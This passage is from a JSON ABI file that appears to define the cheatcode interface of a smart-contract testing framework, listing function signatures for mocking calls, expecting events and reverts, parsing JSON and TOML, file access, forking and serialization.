ng"}],"stateMutability":"view"},{"type":"function","name":"envUint","inputs":[{"name":"name","type":"string","internalType":"string"}],"outputs":[{"name":"value","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"envUint","inputs":[{"name":"name","type":"string","internalType":"string"},{"name":"delim","type":"string","internalType":"string"}],"outputs":[{"name":"value","type":"uint256[]","internalType":"uint256[]"}],"stateMutability":"view"},{"type":"function","name":"etch","inputs":[{"name":"target","type":"address","internalType":"address"},{"name":"newRuntimeBytecode","type":"bytes","internalType":"bytes"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"eth_getLogs","inputs":[{"name":"fromBlock","type":"uint256","internalType":"uint256"},{"name":"toBlock","type":"uint256","internalType":"uint256"},{"name":"target","type":"address","internalType":"address"},{"name":"topics","type":"bytes32[]","internalType":"bytes32[]"}],"outputs":[{"name":"logs","type":"tuple[]","internalType":"struct VmSafe.EthGetLogs[]","components":[{"name":"emitter","type":"address","internalType":"address"},{"name":"topics","type":"bytes32[]","internalType":"bytes32[]"},{"name":"data","type":"bytes","internalType":"bytes"},{"name":"blockHash","type":"bytes32","internalType":"bytes32"},{"name":"blockNumber","type":"uint64","internalType":"uint64"},{"name":"transactionHash","type":"bytes32","internalType":"bytes32"},{"name":"transactionIndex","type":"uint64","internalType":"uint64"},{"name":"logIndex","type":"uint256","internalType":"uint256"},{"name":"removed","type":"bool","internalType":"bool"}]}],"stateMutability":"nonpayable"},{"type":"function","name":"exists","inputs":[{"name":"path","type":"string","internalType":"string"}],"outputs":[{"name":"result","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"function","name":"expectCall","inputs":[{"name":"callee","type":"address","internalType":"address"},{"name":"msgValue","type":"uint256","internalType":"uint256"},{"name":"gas","type":"uint64","internalType":"uint64"},{"name":"data","type":"bytes","internalType":"bytes"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"expectCall","inputs":[{"name":"callee","type":"address","internalType":"address"},{"name":"msgValue","type":"uint256","internalType":"uint256"},{"name":"gas","type":"uint64","internalType":"uint64"},{"name":"data","type":"bytes","internalType":"bytes"},{"name":"count","type":"uint64","internalType":"uint64"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"expectCall","inputs":[{"name":"callee","type":"address","internalType":"address"},{"name":"msgValue","type":"uint256","internalType":"uint256"},{"name":"data","type":"bytes","internalType":"bytes"},{"name":"count","type":"uint64","internalType":"uint64"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"expectCall","inputs":[{"name":"callee","type":"address","internalType":"address"},{"name":"data","type":"bytes","internalType":"bytes"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"expectCall","inputs":[{"name":"callee","type":"address","internalType":"address"},{"name":"data","type":"bytes","internalType":"bytes"},{"name":"count","type":"uint64","internalType":"uint64"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"expectCall","inputs":[{"name":"callee","type":"address","internalType":"address"},{"name":"msgValue","type":"uint256","internalType":"uint256"},{"name":"data","type":"bytes","internalType":"bytes"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"expectCallMinGas","inputs":[{"name":"callee","type":"address","internalType":"address"},{"name":"msgValue","type":"uint256","internalType":"uint256"},{"name":"minGas","type":"uint64","internalType":"uint64"},{"name":"data","type":"bytes","internalType":"bytes"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"expectCallMinGas","inputs":[{"name":"callee","type":"address","internalType":"address"},{"name":"msgValue","type":"uint256","internalType":"uint256"},{"name":"minGas","type":"uint64","internalType":"uint64"},{"name":"data","type":"bytes","internalType":"bytes"},{"name":"count","type":"uint64","internalType":"uint64"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"expectEmit","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"expectEmit","inputs":[{"name":"checkTopic1","type":"bool","internalType":"bool"},{"name":"checkTopic2","type":"bool","internalType":"bool"},{"name":"checkTopic3","type":"bool","internalType":"bool"},{"name":"checkData","type":"bool","internalType":"bool"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"expectEmit","inputs":[{"name":"checkTopic1","type":"bool","internalType":"bool"},{"name":"checkTopic2","type":"bool","internalType":"bool"},{"name":"checkTopic3","type":"bool","internalType":"bool"},{"name":"checkData","type":"bool","internalType":"bool"},{"name":"emitter","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"expectEmit","inputs":[{"name":"emitter","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"expectRevert","inputs":[{"name":"revertData","type":"bytes4","internalType":"bytes4"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"expectRevert","inputs":[{"name":"revertData","type":"bytes","internalType":"bytes"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"expectRevert","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"expectSafeMemory","inputs":[{"name":"min","type":"uint64","internalType":"uint64"},{"name":"max","type":"uint64","internalType":"uint64"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"expectSafeMemoryCall","inputs":[{"name":"min","type":"uint64","internalType":"uint64"},{"name":"max","type":"uint64","internalType":"uint64"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"fee","inputs":[{"name":"newBasefee","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"ffi","inputs":[{"name":"commandInput","type":"string[]","internalType":"string[]"}],"outputs":[{"name":"result","type":"bytes","internalType":"bytes"}],"stateMutability":"nonpayable"},{"type":"function","name":"fsMetadata","inputs":[{"name":"path","type":"string","internalType":"string"}],"outputs":[{"name":"metadata","type":"tuple","internalType":"struct VmSafe.FsMetadata","components":[{"name":"isDir","type":"bool","internalType":"bool"},{"name":"isSymlink","type":"bool","internalType":"bool"},{"name":"length","type":"uint256","internalType":"uint256"},{"name":"readOnly","type":"bool","internalType":"bool"},{"name":"modified","type":"uint256","internalType":"uint256"},{"name":"accessed","type":"uint256","internalType":"uint256"},{"name":"created","type":"uint256","internalType":"uint256"}]}],"stateMutability":"view"},{"type":"function","name":"getBlockNumber","inputs":[],"outputs":[{"name":"height","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"getBlockTimestamp","inputs":[],"outputs":[{"name":"timestamp","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"getCode","inputs":[{"name":"artifactPath","type":"string","internalType":"string"}],"outputs":[{"name":"creationBytecode","type":"bytes","internalType":"bytes"}],"stateMutability":"view"},{"type":"function","name":"getDeployedCode","inputs":[{"name":"artifactPath","type":"string","internalType":"string"}],"outputs":[{"name":"runtimeBytecode","type":"bytes","internalType":"bytes"}],"stateMutability":"view"},{"type":"function","name":"getLabel","inputs":[{"name":"account","type":"address","internalType":"address"}],"outputs":[{"name":"currentLabel","type":"string","internalType":"string"}],"stateMutability":"view"},{"type":"function","name":"getMappingKeyAndParentOf","inputs":[{"name":"target","type":"address","internalType":"address"},{"name":"elementSlot","type":"bytes32","internalType":"bytes32"}],"outputs":[{"name":"found","type":"bool","internalType":"bool"},{"name":"key","type":"bytes32","internalType":"bytes32"},{"name":"parent","type":"bytes32","internalType":"bytes32"}],"stateMutability":"nonpayable"},{"type":"function","name":"getMappingLength","inputs":[{"name":"target","type":"address","internalType":"address"},{"name":"mappingSlot","type":"bytes32","internalType":"bytes32"}],"outputs":[{"name":"length","type":"uint256","internalType":"uint256"}],"stateMutability":"nonpayable"},{"type":"function","name":"getMappingSlotAt","inputs":[{"name":"target","type":"address","internalType":"address"},{"name":"mappingSlot","type":"bytes32","internalType":"bytes32"},{"name":"idx","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"value","type":"bytes32","internalType":"bytes32"}],"stateMutability":"nonpayable"},{"type":"function","name":"getNonce","inputs":[{"name":"account","type":"address","internalType":"address"}],"outputs":[{"name":"nonce","type":"uint64","internalType":"uint64"}],"stateMutability":"view"},{"type":"function","name":"getNonce","inputs":[{"name":"wallet","type":"tuple","internalType":"struct VmSafe.Wallet","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"publicKeyX","type":"uint256","internalType":"uint256"},{"name":"publicKeyY","type":"uint256","internalType":"uint256"},{"name":"privateKey","type":"uint256","internalType":"uint256"}]}],"outputs":[{"name":"nonce","type":"uint64","internalType":"uint64"}],"stateMutability":"nonpayable"},{"type":"function","name":"getRecordedLogs","inputs":[],"outputs":[{"name":"logs","type":"tuple[]","internalType":"struct VmSafe.Log[]","components":[{"name":"topics","type":"bytes32[]","internalType":"bytes32[]"},{"name":"data","type":"bytes","internalType":"bytes"},{"name":"emitter","type":"address","internalType":"address"}]}],"stateMutability":"nonpayable"},{"type":"function","name":"isDir","inputs":[{"name":"path","type":"string","internalType":"string"}],"outputs":[{"name":"result","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"function","name":"isFile","inputs":[{"name":"path","type":"string","internalType":"string"}],"outputs":[{"name":"result","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"function","name":"isPersistent","inputs":[{"name":"account","type":"address","internalType":"address"}],"outputs":[{"name":"persistent","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"keyExists","inputs":[{"name":"json","type":"string","internalType":"string"},{"name":"key","type":"string","internalType":"string"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"keyExistsJson","inputs":[{"name":"json","type":"string","internalType":"string"},{"name":"key","type":"string","internalType":"string"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"keyExistsToml","inputs":[{"name":"toml","type":"string","internalType":"string"},{"name":"key","type":"string","internalType":"string"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"label","inputs":[{"name":"account","type":"address","internalType":"address"},{"name":"newLabel","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"load","inputs":[{"name":"target","type":"address","internalType":"address"},{"name":"slot","type":"bytes32","internalType":"bytes32"}],"outputs":[{"name":"data","type":"bytes32","internalType":"bytes32"}],"stateMutability":"view"},{"type":"function","name":"loadAllocs","inputs":[{"name":"pathToAllocsJson","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"makePersistent","inputs":[{"name":"accounts","type":"address[]","internalType":"address[]"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"makePersistent","inputs":[{"name":"account0","type":"address","internalType":"address"},{"name":"account1","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"makePersistent","inputs":[{"name":"account","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"makePersistent","inputs":[{"name":"account0","type":"address","internalType":"address"},{"name":"account1","type":"address","internalType":"address"},{"name":"account2","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"mockCall","inputs":[{"name":"callee","type":"address","internalType":"address"},{"name":"msgValue","type":"uint256","internalType":"uint256"},{"name":"data","type":"bytes","internalType":"bytes"},{"name":"returnData","type":"bytes","internalType":"bytes"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"mockCall","inputs":[{"name":"callee","type":"address","internalType":"address"},{"name":"data","type":"bytes","internalType":"bytes"},{"name":"returnData","type":"bytes","internalType":"bytes"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"mockCallRevert","inputs":[{"name":"callee","type":"address","internalType":"address"},{"name":"msgValue","type":"uint256","internalType":"uint256"},{"name":"data","type":"bytes","internalType":"bytes"},{"name":"revertData","type":"bytes","internalType":"bytes"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"mockCallRevert","inputs":[{"name":"callee","type":"address","internalType":"address"},{"name":"data","type":"bytes","internalType":"bytes"},{"name":"revertData","type":"bytes","internalType":"bytes"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"parseAddress","inputs":[{"name":"stringifiedValue","type":"string","internalType":"string"}],"outputs":[{"name":"parsedValue","type":"address","internalType":"address"}],"stateMutability":"pure"},{"type":"function","name":"parseBool","inputs":[{"name":"stringifiedValue","type":"string","internalType":"string"}],"outputs":[{"name":"parsedValue","type":"bool","internalType":"bool"}],"stateMutability":"pure"},{"type":"function","name":"parseBytes","inputs":[{"name":"stringifiedValue","type":"string","internalType":"string"}],"outputs":[{"name":"parsedValue","type":"bytes","internalType":"bytes"}],"stateMutability":"pure"},{"type":"function","name":"parseBytes32","inputs":[{"name":"stringifiedValue","type":"string","internalType":"string"}],"outputs":[{"name":"parsedValue","type":"bytes32","internalType":"bytes32"}],"stateMutability":"pure"},{"type":"function","name":"parseInt","inputs":[{"name":"stringifiedValue","type":"string","internalType":"string"}],"outputs":[{"name":"parsedValue","type":"int256","internalType":"int256"}],"stateMutability":"pure"},{"type":"function","name":"parseJson","inputs":[{"name":"json","type":"string","internalType":"string"}],"outputs":[{"name":"abiEncodedData","type":"bytes","internalType":"bytes"}],"stateMutability":"pure"},{"type":"function","name":"parseJson","inputs":[{"name":"json","type":"string","internalType":"string"},{"name":"key","type":"string","internalType":"string"}],"outputs":[{"name":"abiEncodedData","type":"bytes","internalType":"bytes"}],"stateMutability":"pure"},{"type":"function","name":"parseJsonAddress","inputs":[{"name":"json","type":"string","internalType":"string"},{"name":"key","type":"string","internalType":"string"}],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"pure"},{"type":"function","name":"parseJsonAddressArray","inputs":[{"name":"json","type":"string","internalType":"string"},{"name":"key","type":"string","internalType":"string"}],"outputs":[{"name":"","type":"address[]","internalType":"address[]"}],"stateMutability":"pure"},{"type":"function","name":"parseJsonBool","inputs":[{"name":"json","type":"string","internalType":"string"},{"name":"key","type":"string","internalType":"string"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"pure"},{"type":"function","name":"parseJsonBoolArray","inputs":[{"name":"json","type":"string","internalType":"string"},{"name":"key","type":"string","internalType":"string"}],"outputs":[{"name":"","type":"bool[]","internalType":"bool[]"}],"stateMutability":"pure"},{"type":"function","name":"parseJsonBytes","inputs":[{"name":"json","type":"string","internalType":"string"},{"name":"key","type":"string","internalType":"string"}],"outputs":[{"name":"","type":"bytes","internalType":"bytes"}],"stateMutability":"pure"},{"type":"function","name":"parseJsonBytes32","inputs":[{"name":"json","type":"string","internalType":"string"},{"name":"key","type":"string","internalType":"string"}],"outputs":[{"name":"","type":"bytes32","internalType":"bytes32"}],"stateMutability":"pure"},{"type":"function","name":"parseJsonBytes32Array","inputs":[{"name":"json","type":"string","internalType":"string"},{"name":"key","type":"string","internalType":"string"}],"outputs":[{"name":"","type":"bytes32[]","internalType":"bytes32[]"}],"stateMutability":"pure"},{"type":"function","name":"parseJsonBytesArray","inputs":[{"name":"json","type":"string","internalType":"string"},{"name":"key","type":"string","internalType":"string"}],"outputs":[{"name":"","type":"bytes[]","internalType":"bytes[]"}],"stateMutability":"pure"},{"type":"function","name":"parseJsonInt","inputs":[{"name":"json","type":"string","internalType":"string"},{"name":"key","type":"string","internalType":"string"}],"outputs":[{"name":"","type":"int256","internalType":"int256"}],"stateMutability":"pure"},{"type":"function","name":"parseJsonIntArray","inputs":[{"name":"json","type":"string","internalType":"string"},{"name":"key","type":"string","internalType":"string"}],"outputs":[{"name":"","type":"int256[]","internalType":"int256[]"}],"stateMutability":"pure"},{"type":"function","name":"parseJsonKeys","inputs":[{"name":"json","type":"string","internalType":"string"},{"name":"key","type":"string","internalType":"string"}],"outputs":[{"name":"keys","type":"string[]","internalType":"string[]"}],"stateMutability":"pure"},{"type":"function","name":"parseJsonString","inputs":[{"name":"json","type":"string","internalType":"string"},{"name":"key","type":"string","internalType":"string"}],"outputs":[{"name":"","type":"string","internalType":"string"}],"stateMutability":"pure"},{"type":"function","name":"parseJsonStringArray","inputs":[{"name":"json","type":"string","internalType":"string"},{"name":"key","type":"string","internalType":"string"}],"outputs":[{"name":"","type":"string[]","internalType":"string[]"}],"stateMutability":"pure"},{"type":"function","name":"parseJsonUint","inputs":[{"name":"json","type":"string","internalType":"string"},{"name":"key","type":"string","internalType":"string"}],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"pure"},{"type":"function","name":"parseJsonUintArray","inputs":[{"name":"json","type":"string","internalType":"string"},{"name":"key","type":"string","internalType":"string"}],"outputs":[{"name":"","type":"uint256[]","internalType":"uint256[]"}],"stateMutability":"pure"},{"type":"function","name":"parseToml","inputs":[{"name":"toml","type":"string","internalType":"string"},{"name":"key","type":"string","internalType":"string"}],"outputs":[{"name":"abiEncodedData","type":"bytes","internalType":"bytes"}],"stateMutability":"pure"},{"type":"function","name":"parseToml","inputs":[{"name":"toml","type":"string","internalType":"string"}],"outputs":[{"name":"abiEncodedData","type":"bytes","internalType":"bytes"}],"stateMutability":"pure"},{"type":"function","name":"parseTomlAddress","inputs":[{"name":"toml","type":"string","internalType":"string"},{"name":"key","type":"string","internalType":"string"}],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"pure"},{"type":"function","name":"parseTomlAddressArray","inputs":[{"name":"toml","type":"string","internalType":"string"},{"name":"key","type":"string","internalType":"string"}],"outputs":[{"name":"","type":"address[]","internalType":"address[]"}],"stateMutability":"pure"},{"type":"function","name":"parseTomlBool","inputs":[{"name":"toml","type":"string","internalType":"string"},{"name":"key","type":"string","internalType":"string"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"pure"},{"type":"function","name":"parseTomlBoolArray","inputs":[{"name":"toml","type":"string","internalType":"string"},{"name":"key","type":"string","internalType":"string"}],"outputs":[{"name":"","type":"bool[]","internalType":"bool[]"}],"stateMutability":"pure"},{"type":"function","name":"parseTomlBytes","inputs":[{"name":"toml","type":"string","internalType":"string"},{"name":"key","type":"string","internalType":"string"}],"outputs":[{"name":"","type":"bytes","internalType":"bytes"}],"stateMutability":"pure"},{"type":"function","name":"parseTomlBytes32","inputs":[{"name":"toml","type":"string","internalType":"string"},{"name":"key","type":"string","internalType":"string"}],"outputs":[{"name":"","type":"bytes32","internalType":"bytes32"}],"stateMutability":"pure"},{"type":"function","name":"parseTomlBytes32Array","inputs":[{"name":"toml","type":"string","internalType":"string"},{"name":"key","type":"string","internalType":"string"}],"outputs":[{"name":"","type":"bytes32[]","internalType":"bytes32[]"}],"stateMutability":"pure"},{"type":"function","name":"parseTomlBytesArray","inputs":[{"name":"toml","type":"string","internalType":"string"},{"name":"key","type":"string","internalType":"string"}],"outputs":[{"name":"","type":"bytes[]","internalType":"bytes[]"}],"stateMutability":"pure"},{"type":"function","name":"parseTomlInt","inputs":[{"name":"toml","type":"string","internalType":"string"},{"name":"key","type":"string","internalType":"string"}],"outputs":[{"name":"","type":"int256","internalType":"int256"}],"stateMutability":"pure"},{"type":"function","name":"parseTomlIntArray","inputs":[{"name":"toml","type":"string","internalType":"string"},{"name":"key","type":"string","internalType":"string"}],"outputs":[{"name":"","type":"int256[]","internalType":"int256[]"}],"stateMutability":"pure"},{"type":"function","name":"parseTomlKeys","inputs":[{"name":"toml","type":"string","internalType":"string"},{"name":"key","type":"string","internalType":"string"}],"outputs":[{"name":"keys","type":"string[]","internalType":"string[]"}],"stateMutability":"pure"},{"type":"function","name":"parseTomlString","inputs":[{"name":"toml","type":"string","internalType":"string"},{"name":"key","type":"string","internalType":"string"}],"outputs":[{"name":"","type":"string","internalType":"string"}],"stateMutability":"pure"},{"type":"function","name":"parseTomlStringArray","inputs":[{"name":"toml","type":"string","internalType":"string"},{"name":"key","type":"string","internalType":"string"}],"outputs":[{"name":"","type":"string[]","internalType":"string[]"}],"stateMutability":"pure"},{"type":"function","name":"parseTomlUint","inputs":[{"name":"toml","type":"string","internalType":"string"},{"name":"key","type":"string","internalType":"string"}],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"pure"},{"type":"function","name":"parseTomlUintArray","inputs":[{"name":"toml","type":"string","internalType":"string"},{"name":"key","type":"string","internalType":"string"}],"outputs":[{"name":"","type":"uint256[]","internalType":"uint256[]"}],"stateMutability":"pure"},{"type":"function","name":"parseUint","inputs":[{"name":"stringifiedValue","type":"string","internalType":"string"}],"outputs":[{"name":"parsedValue","type":"uint256","internalType":"uint256"}],"stateMutability":"pure"},{"type":"function","name":"pauseGasMetering","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"prank","inputs":[{"name":"msgSender","type":"address","internalType":"address"},{"name":"txOrigin","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"prank","inputs":[{"name":"msgSender","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"prevrandao","inputs":[{"name":"newPrevrandao","type":"bytes32","internalType":"bytes32"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"projectRoot","inputs":[],"outputs":[{"name":"path","type":"string","internalType":"string"}],"stateMutability":"view"},{"type":"function","name":"readCallers","inputs":[],"outputs":[{"name":"callerMode","type":"uint8","internalType":"enum VmSafe.CallerMode"},{"name":"msgSender","type":"address","internalType":"address"},{"name":"txOrigin","type":"address","internalType":"address"}],"stateMutability":"nonpayable"},{"type":"function","name":"readDir","inputs":[{"name":"path","type":"string","internalType":"string"},{"name":"maxDepth","type":"uint64","internalType":"uint64"}],"outputs":[{"name":"entries","type":"tuple[]","internalType":"struct VmSafe.DirEntry[]","components":[{"name":"errorMessage","type":"string","internalType":"string"},{"name":"path","type":"string","internalType":"string"},{"name":"depth","type":"uint64","internalType":"uint64"},{"name":"isDir","type":"bool","internalType":"bool"},{"name":"isSymlink","type":"bool","internalType":"bool"}]}],"stateMutability":"view"},{"type":"function","name":"readDir","inputs":[{"name":"path","type":"string","internalType":"string"},{"name":"maxDepth","type":"uint64","internalType":"uint64"},{"name":"followLinks","type":"bool","internalType":"bool"}],"outputs":[{"name":"entries","type":"tuple[]","internalType":"struct VmSafe.DirEntry[]","components":[{"name":"errorMessage","type":"string","internalType":"string"},{"name":"path","type":"string","internalType":"string"},{"name":"depth","type":"uint64","internalType":"uint64"},{"name":"isDir","type":"bool","internalType":"bool"},{"name":"isSymlink","type":"bool","internalType":"bool"}]}],"stateMutability":"view"},{"type":"function","name":"readDir","inputs":[{"name":"path","type":"string","internalType":"string"}],"outputs":[{"name":"entries","type":"tuple[]","internalType":"struct VmSafe.DirEntry[]","components":[{"name":"errorMessage","type":"string","internalType":"string"},{"name":"path","type":"string","internalType":"string"},{"name":"depth","type":"uint64","internalType":"uint64"},{"name":"isDir","type":"bool","internalType":"bool"},{"name":"isSymlink","type":"bool","internalType":"bool"}]}],"stateMutability":"view"},{"type":"function","name":"readFile","inputs":[{"name":"path","type":"string","internalType":"string"}],"outputs":[{"name":"data","type":"string","internalType":"string"}],"stateMutability":"view"},{"type":"function","name":"readFileBinary","inputs":[{"name":"path","type":"string","internalType":"string"}],"outputs":[{"name":"data","type":"bytes","internalType":"bytes"}],"stateMutability":"view"},{"type":"function","name":"readLine","inputs":[{"name":"path","type":"string","internalType":"string"}],"outputs":[{"name":"line","type":"string","internalType":"string"}],"stateMutability":"view"},{"type":"function","name":"readLink","inputs":[{"name":"linkPath","type":"string","internalType":"string"}],"outputs":[{"name":"targetPath","type":"string","internalType":"string"}],"stateMutability":"view"},{"type":"function","name":"record","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"recordLogs","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"rememberKey","inputs":[{"name":"privateKey","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"keyAddr","type":"address","internalType":"address"}],"stateMutability":"nonpayable"},{"type":"function","name":"removeDir","inputs":[{"name":"path","type":"string","internalType":"string"},{"name":"recursive","type":"bool","internalType":"bool"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"removeFile","inputs":[{"name":"path","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"replace","inputs":[{"name":"input","type":"string","internalType":"string"},{"name":"from","type":"string","internalType":"string"},{"name":"to","type":"string","internalType":"string"}],"outputs":[{"name":"output","type":"string","internalType":"string"}],"stateMutability":"pure"},{"type":"function","name":"resetNonce","inputs":[{"name":"account","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"resumeGasMetering","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"revertTo","inputs":[{"name":"snapshotId","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"success","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"function","name":"revertToAndDelete","inputs":[{"name":"snapshotId","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"success","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"function","name":"revokePersistent","inputs":[{"name":"accounts","type":"address[]","internalType":"address[]"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"revokePersistent","inputs":[{"name":"account","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"roll","inputs":[{"name":"newHeight","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"rollFork","inputs":[{"name":"txHash","type":"bytes32","internalType":"bytes32"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"rollFork","inputs":[{"name":"forkId","type":"uint256","internalType":"uint256"},{"name":"blockNumber","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"rollFork","inputs":[{"name":"blockNumber","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"rollFork","inputs":[{"name":"forkId","type":"uint256","internalType":"uint256"},{"name":"txHash","type":"bytes32","internalType":"bytes32"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"rpc","inputs":[{"name":"method","type":"string","internalType":"string"},{"name":"params","type":"string","internalType":"string"}],"outputs":[{"name":"data","type":"bytes","internalType":"bytes"}],"stateMutability":"nonpayable"},{"type":"function","name":"rpcUrl","inputs":[{"name":"rpcAlias","type":"string","internalType":"string"}],"outputs":[{"name":"json","type":"string","internalType":"string"}],"stateMutability":"view"},{"type":"function","name":"rpcUrlStructs","inputs":[],"outputs":[{"name":"urls","type":"tuple[]","internalType":"struct VmSafe.Rpc[]","components":[{"name":"key","type":"string","internalType":"string"},{"name":"url","type":"string","internalType":"string"}]}],"stateMutability":"view"},{"type":"function","name":"rpcUrls","inputs":[],"outputs":[{"name":"urls","type":"string[2][]","internalType":"string[2][]"}],"stateMutability":"view"},{"type":"function","name":"selectFork","inputs":[{"name":"forkId","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"serializeAddress","inputs":[{"name":"objectKey","type":"string","internalType":"string"},{"name":"valueKey","type":"string","internalType":"string"},{"name":"values","type":"address[]","internalType":"address[]"}],"outputs":[{"name":"json","type":"string","internalType":"string"}],"stateMutability":"nonpayable"},{"type":"function","name":"serializeAddress","inputs":[{"name":"objectKey","type":"string","internalType":"string"},{"name":"valueKey","type":"string","internalType":"string"},{"name":"value","type":"address","internalType":"address"}],"outputs":[{"name":"json","type":"string","internalType":"string"}],"stateMutability":"nonpayable"},{"type":"function","name":"serializeBool","inputs":[{"name":"objectKey","type":"string","internalType":"string"},{"name":"valueKey","type":"string","internalType":"string"},{"name":"values","type":"bool[]","internalType":"bool[]"}],"outputs":[{"name":"json","type":"string","internalType":"string"}],"stateMutability":"nonpayable"},{"type":"function","name":"serializeBool","inputs":[{"name":"objectKey","type":"string","internalType":"string"},{"name":"valueKey","type":"string","internalType":"string"},{"name":"value","type":"bool","internalType":"bool"}],"outputs":[{"name":"json","type":"string","internalType":"string"}],"stateMutability":"nonpayable"},{"type":"function","name":"serializeBytes","inputs":[{"name":"objectKey","type":"string","internalType":"string"},{"name":"valueKey","type":"string","internalType":"string"},{"name":"values","type":"bytes[]","internalType":"bytes[]"}],"outputs":[{"name":"json","type":"string","internalType":"string"}],"stateMutability":"nonpayable"},{"type":"function","name":"serializeBytes","inputs":[{"name":"objectKey","type":"string","internalType":"string"},{"name":"valueKey","type":"string","internalType":"string"},{"name":"value","type":"bytes","internalType":"bytes"}],"outputs":[{"name":"json","type":"string","internalType":"string"}],"stateMutability":"nonpayable"},{"type":"function","name":"serializeBytes32","inputs":[{"name":"objectKey","type":"string","internalType":"string"},{"name":"valueKey","type":"string","internalType":"string"},{"name":"values","type":"bytes32[]","internalType":"bytes32[]"}],"outputs":[{"name":"json","type":"string","internalType":"string"}],"stateMutability":"nonpayable"},{"type":"function","name":"serializeBytes32","inputs":[{"name":"objectKey","type":"string","internalType":"string"},{"name":"valueKey","type":"string","internalType":"string"},{"name":"value","type":"bytes32","internalType":"bytes32"}],"outputs":[{"name":"json","type":"string","internalType":"string"}],"stateMutability":"nonpayable"},{"type":"function","name":"serializeInt","inputs":[{"name":"objectKey","type":"string","internalType":"string"},{"name":"valueKey","type":"string","internalType":"string"},{"name":"value","type":"int256","internalType":"int256"}],"outputs":[{"name":"json","type":"string","internalType":"string"}],"stateMutability":"nonpayable"},{"type":"function","name":"serializeInt","inputs":[{"name":"objectKey","type":"string","internalType":"string"},{"name":"valueKey","type":"string","internalType":"string"},{"name":"values","type":"int256[]","internalType":"int256[]"}],"outputs":[{"name":"json","type":"string","internalType":"string"}],"stateMutability":"nonpayable"},{"type":"function","name":"serializeJson","inputs"